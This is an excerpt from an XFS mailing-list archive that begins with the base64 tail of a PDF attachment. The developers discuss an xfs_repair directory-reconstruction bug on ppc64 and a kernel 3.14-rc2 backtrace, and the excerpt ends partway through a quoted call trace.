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 nuMUbC2joQwQna0OfuIc9zwMgHfgY4HI25Ld0mvU1ZVzan6gXy4xywtjZDTOfBEyQYzKY3vkYXcZ ADQ1p5ABAxItO9JtFWA5o7JFO/xBPurZH1WJRj9o0SFwa84GXNAPA9gp0AAMAAD7IiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIi//2QplbmRzdHJlYW0KZW5kb2JqCjIgMCBvYmoKPDwKL1Byb2NTZXQgWy9Q REYgL1RleHQgL0ltYWdlQiAvSW1hZ2VDIC9JbWFnZUldCi9Gb250IDw8Cj4+Ci9YT2JqZWN0IDw8 Ci9UUEwxIDUgMCBSCj4+Cj4+CmVuZG9iago3IDAgb2JqCjw8Ci9Qcm9kdWNlciAoT25saW5lMlBE Ri5jb20pCi9DcmVhdG9yIChPbmxpbmUyUERGLmNvbSkKL0NyZWF0aW9uRGF0ZSAoRDoyMDE0MDIx MTE0MTMzOCkKPj4KZW5kb2JqCjggMCBvYmoKPDwKL1R5cGUgL0NhdGFsb2cKL1BhZ2VzIDEgMCBS Ci9PcGVuQWN0aW9uIFszIDAgUiAvWFlaIG51bGwgbnVsbCAxLjAwXQovUGFnZUxheW91dCAvT25l Q29sdW1uCj4+CmVuZG9iagp4cmVmCjAgOQowMDAwMDAwMDAwIDY1NTM1IGYgCjAwMDAwMDAyNzAg MDAwMDAgbiAKMDAwMDIxMTU2MSAwMDAwMCBuIAowMDAwMDAwMDA5IDAwMDAwIG4gCjAwMDAwMDAw ODcgMDAwMDAgbiAKMDAwMDAwMDM1NyAwMDAwMCBuIAowMDAwMDAwNjkzIDAwMDAwIG4gCjAwMDAy MTE2NjcgMDAwMDAgbiAKMDAwMDIxMTc3NCAwMDAwMCBuIAp0cmFpbGVyCjw8Ci9TaXplIDkKL1Jv b3QgOCAwIFIKL0luZm8gNyAwIFIKPj4Kc3RhcnR4cmVmCjIxMTg4NgolJUVPRgo= ------=_NextPart_000_1F71_01CF2772.FB3F5320-- From dev@codyps.com Tue Feb 11 15:07:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CA3C87F50 for ; Tue, 11 Feb 2014 15:07:10 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 48465AC013 for ; Tue, 11 Feb 2014 13:07:06 -0800 (PST) X-ASG-Debug-ID: 1392152823-04cbb00c2a2a7800001-NocioJ Received: from mail-qc0-f170.google.com (mail-qc0-f170.google.com [209.85.216.170]) by cuda.sgi.com with ESMTP id 1kns5igzOqXwiVW5 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 11 Feb 2014 13:07:04 -0800 (PST) X-Barracuda-Envelope-From: dev@codyps.com X-Barracuda-Apparent-Source-IP: 209.85.216.170 Received: by mail-qc0-f170.google.com with SMTP id e9so14040550qcy.15 for ; Tue, 11 Feb 2014 13:07:03 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=codyps.com; s=google; h=message-id:date:from:user-agent:mime-version:to:subject:references :in-reply-to:content-type:content-transfer-encoding; bh=iMLRUtwE1CtpFc9s+p4es7Hg8xOToB8S4kiYwj0UAvs=; b=Ap/uj+hKlu5nRVV5jkFcH+Lxs4QxBhvpMvib3hzx0geMFBSxh4U1ZOO1hFw4y2QArS /uQykZ4akuET5jr+DvRBppBCZX+3aDJY/GrmZvuFMh+hsnPs5BkRUyQmi4Br4zzIHLdD Acl9fBKHqmIqGiXGX/5hHnQ50nZdEcukJhfD0= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:message-id:date:from:user-agent:mime-version:to :subject:references:in-reply-to:content-type :content-transfer-encoding; bh=iMLRUtwE1CtpFc9s+p4es7Hg8xOToB8S4kiYwj0UAvs=; b=UhUQuLuCU4hJqKSrS9EiizdeFwebUuPamrvvOhyYOX0tUMhW1/Y0rmfx1BPIT17hHO zvm8V/2WeBc4CuXZMFpFLpE45Wy30Ma3lbcRuO0oMWQP8YJ++ngIJgMHLb1rFV41f8LC NShjfvTlvQ5zg2roB0qyyC1hiGNHtWAARJUFOn3PB7UlUKFJjKmu1VmyP0tNqH6rp6Fw REjzMp22nDNS4bxb165i+2ROIhrAEk825Sc4041dWnwr1ib6XSTCFbBfYGWKBRi04AY+ wlgxLGwh0CivoPQvkyMOVeSk4A9g1qQ2egj+djspAPHAIZSXj+zaAw6K9lAFV+tYBtPa Ra6g== X-Gm-Message-State: ALoCoQlOq3AD2Yih+wmrz7Z7xo3M4O65uIvMT6YAoq7nXVLZecG3V3q/QGxN3pNli7fqxznWBCD1 X-Received: by 10.140.24.193 with SMTP id 59mr58381968qgr.11.1392152823363; Tue, 11 Feb 2014 13:07:03 -0800 (PST) Received: from [192.168.123.135] (c-71-236-220-78.hsd1.wa.comcast.net. [71.236.220.78]) by mx.google.com with ESMTPSA id u20sm30457584qge.2.2014.02.11.13.07.02 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 11 Feb 2014 13:07:02 -0800 (PST) Message-ID: <52FA90EA.9080107@codyps.com> Date: Tue, 11 Feb 2014 13:06:50 -0800 From: Cody P Schafer User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: xfs_repair fails to repair, run under valgrind shows "Invalid read..." and XFS_CORRUPTION_ERROR References: <52FA8021.9050604@linux.vnet.ibm.com> <20140211204331.GL13647@dastard> X-ASG-Orig-Subj: Re: xfs_repair fails to repair, run under valgrind shows "Invalid read..." and XFS_CORRUPTION_ERROR In-Reply-To: <20140211204331.GL13647@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-qc0-f170.google.com[209.85.216.170] X-Barracuda-Start-Time: 1392152823 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: einic.org X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 02/11/2014 12:43 PM, Dave Chinner wrote: > On Tue, Feb 11, 2014 at 11:55:13AM -0800, Cody P Schafer wrote: >> xfsprogs version: v3.2.0-alpha2-14-g6e79202 >> >> uname: Linux hostname 3.11.10-301.fc20.ppc64 #1 SMP Tue Dec 10 >> 00:35:15 MST 2013 ppc64 POWER8 (architected), altivec supported CHRP >> IBM,8286-42A GNU/Linux >> >> full log attached. > >> >> syncop8lp7 xfsprogs # valgrind ./repair/xfs_repair -n /dev/sda5 > ..... > > Runs fine becuase it doesn't try to fix and write changes. > >> ==6601== Memcheck, a memory error detector >> ==6601== Copyright (C) 2002-2012, and GNU GPL'd, by Julian Seward et al. >> ==6601== Using Valgrind-3.8.1 and LibVEX; rerun with -h for copyright info >> ==6601== Command: ./repair/xfs_repair -n /dev/sda5 >> ==6601== >> --6601-- WARNING: Serious error when reading debug info >> --6601-- When reading debug info from /usr/lib64/valgrind/memcheck-ppc64-linux: > > Ok, so you're on ppc64. Big endian or little endian? > Big endian. >> syncop8lp7 xfsprogs # valgrind ./repair/xfs_repair /dev/sda5 > .... > >> resetting inode 67687581 nlinks from 4 to 3 >> xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR >> libxfs_writebufr: write verifer failed on bno 0x3239040/0x1000 >> Invalid inode number 0xfeffffffffffffff > > That's the smoking gun - the dirents in the rebuilt directory have > invalid inode numbers. They all have the same invalid inode number, > which indicates a bug in the directory reconstruction. > > Can you provide a metadump of the broken filesystem to one of us fo > deeper inspection? > Sure: http://turntable.einic.org/~cody/sda5-2.meta > FWIW, the write verifiers have once again done their job - catching > corruptions caused by software bugs and preventing them from causing > further corruption to the filesystem... > >> libxfs_writebufr: write verifer failed on bno 0x3298f38/0x1000 >> ==6700== Syscall param pwrite64(buf) points to uninitialised byte(s) >> ==6700== at 0x40F810C: pwrite64 (pwrite64.c:51) >> ==6700== by 0x1003ABDB: __write_buf (rdwr.c:801) >> ==6700== by 0x1003C1B7: libxfs_writebufr (rdwr.c:863) >> ==6700== by 0x10036C4F: cache_flush (cache.c:600) >> ==6700== by 0x1003C77B: libxfs_bcache_flush (rdwr.c:994) >> ==6700== by 0x10004C6B: main (xfs_repair.c:886) >> ==6700== Address 0xbeb0622 is 34 bytes inside a block of size 4,096 alloc'd >> ==6700== at 0x406631C: memalign (in /usr/lib64/valgrind/vgpreload_memcheck-ppc64-linux.so) >> ==6700== by 0x1003ADEF: __initbuf (rdwr.c:367) >> ==6700== by 0x1003B797: libxfs_getbufr_map (rdwr.c:416) >> ==6700== by 0x100365C3: cache_node_get (cache.c:273) >> ==6700== by 0x1003A8DB: __cache_lookup (rdwr.c:519) >> ==6700== by 0x1003BA6F: libxfs_getbuf_map (rdwr.c:601) >> ==6700== by 0x1003D333: libxfs_trans_get_buf_map (trans.c:525) >> ==6700== by 0x10059A3B: xfs_da_get_buf (xfs_da_btree.c:2580) >> ==6700== by 0x10060E27: xfs_dir3_data_init (xfs_dir2_data.c:558) >> ==6700== by 0x1006407F: xfs_dir2_leaf_addname (xfs_dir2_leaf.c:826) >> ==6700== by 0x1005D59B: xfs_dir_createname (xfs_dir2.c:233) >> ==6700== by 0x100290D3: mv_orphanage (phase6.c:1205) > > And that looks kinda related. This has been triggered by the write > of a directory buffer that was created during lost+found processing, > and is a prime candidate for incorrect reconstruction. What is the > head commit of the repo you built this xfs_repair binary from, and > what version of gcc did you use? >> xfsprogs version: v3.2.0-alpha2-14-g6e79202 full hash: 6e79202b24ed0dc9ddd8f02e0506182cc6587258 gcc version 4.7.3 (Gentoo 4.7.3-r1 p1.4, pie-0.5.5) > > Cheers, > > Dave. > From david@fromorbit.com Tue Feb 11 15:08:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 381D47F50 for ; Tue, 11 Feb 2014 15:08:50 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 36CAE8F8078 for ; Tue, 11 Feb 2014 13:08:50 -0800 (PST) X-ASG-Debug-ID: 1392152924-04cb6c6de32b41a0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 5yCizGZAxtgCiHok for ; Tue, 11 Feb 2014 13:08:44 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtsHAE+Q+lJ5LBMc/2dsb2JhbABagwy6SYVPgRUXdIIlAQEFJxMcMwgDGAklDwUlAyEBEogEyHEXFo5qhDgEmCmKT4dSg0Eo Received: from ppp121-44-19-28.lns20.syd6.internode.on.net (HELO dastard) ([121.44.19.28]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Feb 2014 07:38:44 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WDKZN-0007Lw-NX; Wed, 12 Feb 2014 08:08:41 +1100 Date: Wed, 12 Feb 2014 08:08:41 +1100 From: Dave Chinner To: Dave Jones , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140211210841.GM13647@dastard> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140211172707.GA1749@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140211172707.GA1749@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392152924 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 11, 2014 at 12:27:07PM -0500, Dave Jones wrote: > BUG: sleeping function called from invalid context at mm/mempool.c:203 > in_atomic(): 0, irqs_disabled(): 1, pid: 27511, name: trinity-c3 > 5 locks held by trinity-c3/27511: > #0: (sb_writers#9){......}, at: [] mnt_want_write+0x24/0x50 > #1: (&type->i_mutex_dir_key#3){......}, at: [] do_last.isra.51+0x294/0x11f0 > #2: (sb_internal#2){......}, at: [] xfs_trans_alloc+0x24/0x40 [xfs] > #3: (&(&ip->i_lock)->mr_lock/1){......}, at: [] xfs_ilock+0x16f/0x1b0 [xfs] > #4: (&(&ip->i_lock)->mr_lock){......}, at: [] xfs_ilock_nowait+0x184/0x200 [xfs] > CPU: 3 PID: 27511 Comm: trinity-c3 Not tainted 3.14.0-rc2+ #111 > ffffffff83a3fd56 0000000045a3849a ffff88009f368f60 ffffffff8372afea > 0000000000000000 ffff88009f368f88 ffffffff8309ddb5 0000000000000010 > ffff880243566288 0000000000000008 ffff88009f369008 ffffffff831534d3 > Call Trace: > [] dump_stack+0x4e/0x7a > [] __might_sleep+0x105/0x150 > [] mempool_alloc+0xa3/0x170 > [] ? deactivate_slab+0x51a/0x590 > [] bio_alloc_bioset+0x156/0x210 > [] _xfs_buf_ioapply+0x1c1/0x3c0 [xfs] > [] ? xlog_bdstrat+0x22/0x60 [xfs] > [] xfs_buf_iorequest+0x6b/0xf0 [xfs] > [] xlog_bdstrat+0x22/0x60 [xfs] > [] xlog_sync+0x3a7/0x5b0 [xfs] > [] xlog_state_release_iclog+0x10f/0x120 [xfs] > [] xlog_write+0x6f0/0x800 [xfs] > [] xlog_cil_push+0x2f1/0x410 [xfs] > [] xlog_cil_force_lsn+0x1d8/0x210 [xfs] > [] ? xfs_bmbt_get_all+0x18/0x20 [xfs] > [] _xfs_log_force+0x70/0x290 [xfs] > [] ? get_parent_ip+0xd/0x50 > [] xfs_log_force+0x26/0xb0 [xfs] > [] ? _xfs_buf_find+0x1f6/0x3c0 [xfs] > [] xfs_buf_lock+0x133/0x140 [xfs] > [] _xfs_buf_find+0x1f6/0x3c0 [xfs] > [] xfs_buf_get_map+0x2a/0x1b0 [xfs] > [] xfs_trans_get_buf_map+0x1a1/0x240 [xfs] > [] xfs_da_get_buf+0xbd/0x100 [xfs] > [] xfs_dir3_data_init+0x59/0x1d0 [xfs] > [] ? xfs_dir2_grow_inode+0x13b/0x150 [xfs] > [] xfs_dir2_sf_to_block+0x17e/0x7b0 [xfs] > [] ? xfs_dir2_sfe_get_ino+0x1a/0x20 [xfs] > [] ? xfs_dir2_sf_check.isra.7+0x114/0x1b0 [xfs] > [] ? xfs_da_compname+0x1f/0x30 [xfs] > [] ? xfs_dir2_sf_lookup+0x303/0x310 [xfs] > [] xfs_dir2_sf_addname+0x348/0x6d0 [xfs] > [] ? xfs_setup_inode+0x1cd/0x320 [xfs] > [] xfs_dir_createname+0x184/0x1e0 [xfs] > [] xfs_create+0x469/0x580 [xfs] > [] xfs_vn_mknod+0xc4/0x1e0 [xfs] > [] xfs_vn_create+0x13/0x20 [xfs] > [] vfs_create+0x95/0xc0 > [] do_last.isra.51+0x9f8/0x11f0 > [] ? link_path_walk+0x81/0x870 > [] path_openat+0xc9/0x620 > [] ? put_dec+0x72/0x90 > [] do_filp_open+0x4d/0xb0 > [] file_open_name+0xfe/0x160 > [] filp_open+0x44/0x60 > [] do_coredump+0x602/0xf60 > [] get_signal_to_deliver+0x2b8/0x6b0 > [] do_signal+0x57/0x9d0 > [] ? __acct_update_integrals+0x8e/0x120 > [] ? __schedule+0x60/0x850 > [] ? preempt_count_sub+0x6b/0xf0 > [] ? _raw_spin_unlock+0x31/0x50 > [] ? vtime_account_user+0x91/0xa0 > [] ? context_tracking_user_exit+0x9b/0x100 > [] do_notify_resume+0x5c/0xa0 > [] retint_signal+0x46/0x90 There's nowhere in this XFS stack that disables interrupts, so I thinks it's either above or below XFS that is causing this problem. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Tue Feb 11 15:49:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A6EE07F50 for ; Tue, 11 Feb 2014 15:49:16 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A19448F8052 for ; Tue, 11 Feb 2014 13:49:16 -0800 (PST) X-ASG-Debug-ID: 1392155354-04cbb00c292aaf50001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id mn6CsVXlHRbele1Z for ; Tue, 11 Feb 2014 13:49:14 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 7F26A65476CD; Tue, 11 Feb 2014 15:49:14 -0600 (CST) Message-ID: <52FA9ADA.9040803@sandeen.net> Date: Tue, 11 Feb 2014 15:49:14 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , Dave Jones , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140211172707.GA1749@redhat.com> <20140211210841.GM13647@dastard> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. In-Reply-To: <20140211210841.GM13647@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392155354 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145035 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/11/14, 3:08 PM, Dave Chinner wrote: > On Tue, Feb 11, 2014 at 12:27:07PM -0500, Dave Jones wrote: >> BUG: sleeping function called from invalid context at mm/mempool.c:203 >> in_atomic(): 0, irqs_disabled(): 1, pid: 27511, name: trinity-c3 >> 5 locks held by trinity-c3/27511: >> #0: (sb_writers#9){......}, at: [] mnt_want_write+0x24/0x50 >> #1: (&type->i_mutex_dir_key#3){......}, at: [] do_last.isra.51+0x294/0x11f0 >> #2: (sb_internal#2){......}, at: [] xfs_trans_alloc+0x24/0x40 [xfs] >> #3: (&(&ip->i_lock)->mr_lock/1){......}, at: [] xfs_ilock+0x16f/0x1b0 [xfs] >> #4: (&(&ip->i_lock)->mr_lock){......}, at: [] xfs_ilock_nowait+0x184/0x200 [xfs] >> CPU: 3 PID: 27511 Comm: trinity-c3 Not tainted 3.14.0-rc2+ #111 >> ffffffff83a3fd56 0000000045a3849a ffff88009f368f60 ffffffff8372afea >> 0000000000000000 ffff88009f368f88 ffffffff8309ddb5 0000000000000010 >> ffff880243566288 0000000000000008 ffff88009f369008 ffffffff831534d3 >> Call Trace: >> [] dump_stack+0x4e/0x7a >> [] __might_sleep+0x105/0x150 >> [] mempool_alloc+0xa3/0x170 >> [] ? deactivate_slab+0x51a/0x590 >> [] bio_alloc_bioset+0x156/0x210 >> [] _xfs_buf_ioapply+0x1c1/0x3c0 [xfs] >> [] ? xlog_bdstrat+0x22/0x60 [xfs] >> [] xfs_buf_iorequest+0x6b/0xf0 [xfs] >> [] xlog_bdstrat+0x22/0x60 [xfs] >> [] xlog_sync+0x3a7/0x5b0 [xfs] >> [] xlog_state_release_iclog+0x10f/0x120 [xfs] >> [] xlog_write+0x6f0/0x800 [xfs] >> [] xlog_cil_push+0x2f1/0x410 [xfs] >> [] xlog_cil_force_lsn+0x1d8/0x210 [xfs] >> [] ? xfs_bmbt_get_all+0x18/0x20 [xfs] >> [] _xfs_log_force+0x70/0x290 [xfs] >> [] ? get_parent_ip+0xd/0x50 >> [] xfs_log_force+0x26/0xb0 [xfs] >> [] ? _xfs_buf_find+0x1f6/0x3c0 [xfs] >> [] xfs_buf_lock+0x133/0x140 [xfs] >> [] _xfs_buf_find+0x1f6/0x3c0 [xfs] >> [] xfs_buf_get_map+0x2a/0x1b0 [xfs] >> [] xfs_trans_get_buf_map+0x1a1/0x240 [xfs] >> [] xfs_da_get_buf+0xbd/0x100 [xfs] >> [] xfs_dir3_data_init+0x59/0x1d0 [xfs] >> [] ? xfs_dir2_grow_inode+0x13b/0x150 [xfs] >> [] xfs_dir2_sf_to_block+0x17e/0x7b0 [xfs] >> [] ? 